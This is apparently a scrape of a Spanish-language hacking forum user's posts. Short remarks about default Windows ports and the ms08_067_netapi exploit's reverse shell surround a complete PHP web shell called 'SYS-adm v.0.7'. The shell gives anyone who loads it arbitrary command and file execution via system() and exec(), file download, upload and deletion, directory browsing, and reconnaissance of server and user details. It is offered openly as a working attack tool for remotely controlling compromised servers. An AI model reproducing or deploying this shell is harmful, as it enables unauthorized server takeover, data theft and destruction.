CitarHombre, ya, ¿pero qué puerto viene predeterminado en windows para escuchar por defecto? creo que por defecto ninguno , por eso decía que si no hay nada a la eschucha no se hace nada.
segun el win$ suele tener el puerto 135, 445....
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCitarHombre, ya, ¿pero qué puerto viene predeterminado en windows para escuchar por defecto? creo que por defecto ninguno , por eso decía que si no hay nada a la eschucha no se hace nada.
<?php
error_reporting(5);
#modificamos el time final de ejecucion del script
@set_time_limit(0); //indefinido
#si hemos seleccionado el boton para descarga....
if(isset($_POST['down'])){
if(isset($_POST['file'])){
#descargamos el fichero que hemos seleccionado
header( "Content-Type: application/octet-stream");
header( "Content-Length: ".filesize($_POST['file']));
header( "Content-Disposition: attachment; filename=".$_POST['file']."");
readfile($_POST['file']);
}
}else if(isset($_POST['delete'])){
if(isset($_POST['file'])){
#borramos el fichero que hemos seleccionado
unlink($_POST['file']);
}
}
#ejecutamos el archivo segun lo que haya introducido el usuario
if(isset($_POST['exefile'])){
if(isset($_POST['strg_file'])){
exec($_POST['strg_file']);
}
}
#variable que se utilizara para ver en que OS nos encontramos
$OS = strtolower(substr(PHP_OS, 0, 3));
/****************************************************************/
#estilos css aplicados en la shell
echo '<style type="text/css">';
echo 'body{color: #FFFFFF;background-color: #000000;font-family: Courier New;}';
echo 'a{color: #FF0000;text-decoration: none;}';
echo 'a:hover{color: #00FF00;text-decoration: underline overline;}';
echo 'input{color: #FFFFFF;background-color: #000000;border: 1px solid #FF0000;}';
echo '#header{margin-bottom: 5px;margin-left: 20px;margin-right :20px;border-left: 2px dashed #00FF00;border-right: 2px dashed #00FF00;border-bottom: 2px dashed #00FF00;padding: 5px;background-color: #222222;text-align: center;}';
echo 'iframe{margin: 5px;}';
echo '#proxy{border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;border-bottom: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-left: 5px;margin-right: 5px;margin-bottom: 5px;text-align: center;}';
echo '#info{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
echo '.title{border-top: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;margin-top: 5px;margin-left: 5px;margin-right: 5px;text-align: center;}';
echo '#list{border-bottom: 1px solid #FF0000;border-left: 1px solid #FF0000;border-right: 1px solid #FF0000;background-color: #333333;padding: 5px;padding-left: 20px;margin-bottom: 5px;margin-left: 5px;margin-right: 5px;}';
echo '#list td{vertical-align: top;}';
echo '#list a{color: #77FF77;text-decoration: none;}';
echo '#list a:hover{color: #00FF00;text-decoration: underline overline;}';
echo '#footer{border: 1px solid #FF0000;background-color: #333333;padding: 5px;margin: 5px;text-align: center;}';
echo '.time{position: right;}';
echo '</style>';
/****************************************************************/
#subimos ficheros en el servidor
if(isset($_FILES['file'])){
$dest = getcwd(); //directorio donde nos encontramos
move_uploaded_file($_FILES['file']['tmp_name'],$dest.'/'.$_FILES['file']['name']); //movemos el archivo del directorio temporal al directorio final donde nos encontramos actualmente ejecutando el script
}
#recuperamos la url que ha introducido el usuario y lo añadimos en el proxy
if(isset($_POST['url'])){
$url = $_POST['url'];
}
#recuperamos el directorio actual que enviamos por parametro
if(isset($_GET['directory'])){
chdir($_GET['directory']);
$dir = getcwd();
}else{
//obtenemos el directorio actual y mostramos la lista
$dir = getcwd();
}
#funcion para mostrar los permisos de cada fichero y directorio (reutilizada manual oficial)
function permissions($perms){
if (($perms & 0xC000) == 0xC000) {// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {// FIFO pipe
$info = 'p';
} else {// Unknown
$info = 'U';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
#creamos el nuevo directorio que el usuario a introducido o lo eliminamos
if(isset($_POST['create'])){
if(isset($_POST['direct'])){
@mkdir($_POST['direct']);
}
}else if(isset($_POST['drop'])){
if(isset($_POST['direct'])){
@rmdir($_POST['direct']);
}
}
/****************************************************************/
#estructura de la pagina web que mostraremos al usuario
echo '<html>';
echo '<head>';
#titulo de la pagina
echo '<title>.: SYS-adm v.0.7 :: c0d3-l4bs :.</title>';
echo '</head>';
/*********************************************************/
/**************parte central de la pagina*****************/
/*********************************************************/
echo '<body>';
echo '<div id="header">';
# header con el logo
echo '8""""8 8 8 8""""8 <b>v.0.7 [<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>]</b><br />';
echo '8 8 8 8 eeeee eeeee eeeeeee <br />';
echo '8eeeee 8eeee8 8eeeee 8 8 8 8 8 8 8 <br />';
echo ' 88 88 88 eeee 8eee8 8e 8 8e 8 8 <br />';
echo 'e 88 88 e 88 88 8 88 8 88 8 8 <br />';
echo '8eee88 88 8eee88 88 8 88ee8 88 8 8 ';
echo '';
echo '</div>';
echo '<div id="info">'; //div principal que contendra toda la informacion perteneciente al server remoto
echo '-> <b>Server Info</b> <-<br /><br />';
if($OS == 'win'){ //si el OS es un sistema win$
$chr = '\\';
echo 'Server OS -> <b><u>'.php_uname().'</u></b> [<b><font color="#FF0000"><u>'.getenv('OS').'</u></font></b>]'; //OS del servidor remoto
echo ' Computer Name -> <b><u>'.getenv('computername').'</u></b><br />'; //nombre del pc donde nos encontramos
echo 'User name -> <b><u>'.getenv('username').'</u></b> Profile -> <b><u>'.getenv('userprofile').'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b> Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
#comprobamos si el safemode esta activo o no en el sistema
if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
$sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
}else{
$sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
}
/***********************************************************************/
echo 'Safe mode -> '.$sfmod.' Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
}else{ //OS unix like - gnu/linux
$chr = '/'; //caracter utilizado en el momento de mostrar rutas y demas
$inf = posix_getpwuid(posix_getuid()); //obtenemos la informacion
echo 'Server OS -> <b><u>'.php_uname().'</u></b><br />'; //OS del servidor remoto
echo 'User name -> <b><u>'.$inf['name'].'</u></b> Profile -> <b><u>'.$inf['dir'].'</u></b><br />'; //nombre de usuario en el que estamos y el perfil
echo 'Software -> <b><u>'.getenv('server_software').'</u></b><br />'; //software utilizado en el servidor remoto
echo 'Server IP -> <b><u>'.getenv('server_addr').':['.getenv('server_port').']</u></b> Your IP -> <b><u>'.getenv('remote_addr').':['.getenv('remote_port').']</u></b><br />'; //ip + puerto del servidor y del usuario
#lo mismo que anteriormente, comprobamos si esta on o off el safemode
if(@ini_get('safe_mode') or strtolower(@ini_get('safe_mode')) == 'on'){
$sfmod = '<b><u><font color="#FF0000">[ON]</font></u></b>';
}else{
$sfmod = '<b><u><font color="#00FF00">[OFF]</font></u></b>';
}
/**************************************************************************/
echo 'Safe mode -> '.$sfmod.' Document root -> <b><u>'.getenv('document_root').'</u></b><br />'; //modo seguro del php y directorio del apache
echo 'PHP version -> <b><u>'.phpversion().'</u></b><br />'; //version del php
echo 'Script url -> <b><u>'.getenv('request_uri').'</u></b>'; //ruta del script
}
echo '</div>'; //fin del div que contiene la informacion
/***************************************************************************/
/***************************************************************************/
#apartado donde se utilizara el "proxy" de la shell
echo '<div class="title">';
echo '-> <b>SYS-adm Proxy</b> <-<br /><br />';
echo '[NOTE -> add http:// or ftp:// to specify protocol]';
echo '</div>';
echo '<div id="proxy">';
#formulario para el envio de enlaces al "proxy" de la shell
if(!isset($url)){
echo '<form action="" method="post">';
echo '<input type="text" name="url" size="100" /> ';
echo '<input type="submit" value="Browse" />';
echo '</form>';
}elseif(isset($url)){
echo '<form action="" method="post">';
echo '<input type="text" name="url" size="100" value="'.$url.'" /> ';
echo '<input type="submit" value="Browse" />';
echo '</form>';
#mostramos la url que nos envia el usuario en el formulario
echo ' <iframe src="'.$url.'" width="95%" height="500" scrolling="auto">';
#en caso de no tener operativo los iframes el navegador....
echo ' <p><font color="#FF0000">This browser can\'t support iframes!!</font></p>';
echo ' </iframe>';
}
echo '</div>'; //fin del apartado de "proxy"
/************************************************************************/
#apartado donde mostraremos el listado de directorio
echo '<div>';
echo '<div class="title">';
echo '-> <b>Directory List</b> <-<br /><br />';
echo '</div>';
echo '<div id="list">';
echo '<b>'.$dir.'</b> ';
echo '<font color="#BB8800">[<b>'.permissions(fileperms($dir)).'</b>]</font>'; //mostramos los permisos del directorio actual
$files = array(); //array donde meteremos el listado
echo '<br />';
//tabla donde se muestran los distintos apartados, primeramente los titulos
echo '<table width="100%">';
echo '<tr>';
echo '<td width="35%">';
echo '<b>Name</b>';
echo '</td>';
echo '<td align="center" width="15%">';
echo '<b>Size</b>';
echo '</td>';
echo '<td align="center" width="15%">';
echo '<b>Last modified</b>';
echo '</td>';
echo '<td align="center" width="15%">';
echo '<b>Permissions</b>';
echo '</td>';
echo '<td width="20%">';
echo '<b>File actions</b>';
echo '</td>';
echo '</tr>';
#mostramos los distintos files/directories como la info sobre su "size", permisos....
if(is_dir($dir)){ //comprobamos que el directorio actual es un directorio
if($dd = opendir($dir)){
while(($elem = readdir($dd)) !== false){
if(is_dir($elem)){ //si es un directorio lo mostramos por pantalla
echo '<tr><td class="files">';
echo '<a href="'.basename($_SERVER['PHP_SELF']).'?directory='.getcwd().'/'.$elem.'"><font color="#7777FF">'.$elem.'</font></a>'; //link para movernos hacia el directorio en question
echo '</td>';
echo '<td align="right">';
echo '<font color="#7777FF">['.filetype($elem).']</font>'; //tipo de file (en este caso son directorios primero)
echo '</td>';
echo '<td align="right">';
echo date('Y/m/d H:i:s',filemtime($elem)); //ultima modificacion
echo '</td>';
echo '<td align="center">';
echo '<font color="#BB8800"><b>'.permissions(fileperms($elem)).'</b></font>'; //permisos de dicho dir
echo '</td>';
echo '</tr>';
}else{
$files[] = $elem;
}
}
for($x = 0;$x < count($files);$x++){ //mostramos los archivos
echo '<tr><td>';
echo '<font color="#77FF77">'.$files[$x].'</font>';
echo '</td>';
echo '<td align="right">';
#mostramos el size del archivo, si es excesivo mostramos un aviso
if(eregi('-',(filesize($files[$x])/1024))){
echo '<font color="#BB8800"> filesize > 4</font><font color="#FF0000"> GB</font>';
}else{
echo '<font color="#BB8800">'.number_format((filesize($files[$x])/1024),3).'</font><font color="#FF0000"> KB</font>';
}
echo '</td>';
echo '<td align="right">';
echo date('Y/m/d H:i:s',filemtime($files[$x])); //fecha de modificacion
echo '</td>';
echo '<td align="center">';
echo '<font color="#BB8800"><b>'.permissions(fileperms($files[$x])).'</b></font>'; //permisos del archivo
echo '</td>';
echo '<td>';
echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post">';
echo '<input type="hidden" name="file" value="'.$dir.$chr.$files[$x].'" />';//campo oculto
echo '<input type="submit" name="down" value="Download" /> ';
echo '<input type="submit" name="delete" value="Remove" />';
echo '</form>';
echo '</td>';
echo '</tr>';
}
}
closedir($dd); //cerramos el directorio
}
echo '</table>'; //terminamos la tabla
echo '</div>';
echo '</div>';
//final del apartado de listado de directorios
#apartado para la subida de archivos
echo '<div id="info">';
echo '-> <b>File manager</b> <-<br /><br />';
echo '<table align="center" size="75%">';
echo '<tr><td colspan="3" align="center">';
//formulario para el envio de archivos
echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file" /> ';
echo '<input type="submit" name="submit" value="upload" />';
echo '</form>';
echo '</td></tr>';
//formulario para la creacion de directorios o su eliminacion
echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
echo '<tr>';
echo '<td>';
echo '<input type="text" size="100%" name="direct" value="'.$dir.$chr.'" />'; //mostramos la ruta actual
echo '</td>';
echo '<td> </td>';
echo '<td>';
echo '<input type="submit" name="create" value="Create Directory" /> ';
echo '<input type="submit" name="drop" value="Delete Directory" />';
echo '</td>';
echo '</tr>';
echo '<tr><td> </td></tr>';
echo '</form>';
echo '</table>';
echo 'NOTE -> to delete any directory, this must be empty and to do different actions, alert with permissions';
echo '</div>';
#final del apartado de subida de archivos modificacion de directorios
#apartado para la ejecucion de comandos o archivos
echo '<div id="info">';
echo '-> <b>Process Manager</b> <-';
echo '<br /><br />';
#mostramos el resultado de la ejecucion de un comando si se ha enviado anteriormente
if(isset($_POST['exe'])){
if(isset($_POST['strg_com'])){
echo system($_POST['strg_com']);
}
}
#permitimos la ejecucion de comandos y/o archivos en caso de estar inactivo el safe mode
if($OS == 'win'){ //sistema win$
if(eregi('off',$sfmod)){
#mostramos los procesos en caso de estar inactivo
echo '<table align="center">';
echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
echo '<tr><td>';
echo '<input type="text" size="50" name="strg_com" /> ';
echo '<input type="submit" name="exe" value="Execute command" />'; //apartado para la ejecucion de un comando
echo '</td></tr>';
echo '<br /><br />';
echo '<tr><td>';
echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" /> ';
echo '<input type="submit" name="exefile" value="Execute file" />'; //apartado para la ejecucion de un archivo
echo '</tr></td>';
echo '</form>';
echo '</table>';
}else{
#mostramos una alerta en caso de estar activo
echo '<font color="#FF0000">Alert, safe mode is active...</font>';
echo '<br />';
}
}else{ //gnu/linux - unix like, lo mismo que el apartado anterior
if(eregi('off',$sfmod)){
#mostramos los procesos en caso de estar inactivo
echo '<table align="center">';
echo '<form action="./'.basename($_SERVER['PHP_SELF']).'" method="post">';
echo '<tr><td>';
echo '<input type="text" size="50" name="strg_com" /> ';
echo '<input type="submit" name="exe" value="Execute command" />'; //para los comandos
echo '</td></tr>';
echo '<br /><br />';
echo '<tr><td>';
echo '<input type="text" size="50" name="strg_file" value="'.$dir.$chr.'" /> ';
echo '<input type="submit" name="exefile" value="Execute file" />'; //para los archivos
echo '</tr></td>';
echo '</form>';
echo '</table>';
echo 'NOTE -> Alert with user permissions';
echo '<br />';
}else{
#mostramos una alerta en caso de estar activo la proteccion
echo '<font color="#FF0000">Alert, safe mode is active...</font>';
echo '<br />';
}
}
echo '<br />';
echo '</div>';
#pie de pagina, donde mostramos la hora y demas
echo '<div id="footer">';
echo '-> <b>b10s_0v3rr1d3 '.chr(135).' SYS-adm v.0.7 [<a href="http://c0d3-l4bs.blogspot.com">c0d3-l4bs</a>] </b><font color="#00FF00"> '.date('d/m/Y H:i:s').' </font><-';
echo '</div>';
echo '</body>';
/*********************************************************/
/********terminamos la parte central de la pagina*********/
/*********************************************************/
echo '</html>';
//final de la pagina/shell
?>
Cita de: manel92 en 27 Abril 2010, 14:20 PM
el exploit ms08_067_netapi que yo sepa da reverse shell
para que esperar a que ejecute el archivo si lo podemos hacer nosotros?
Citarun posible ejemplo de clases:como se comento, son ejemplos tampoco comentas que hayas hecho nada......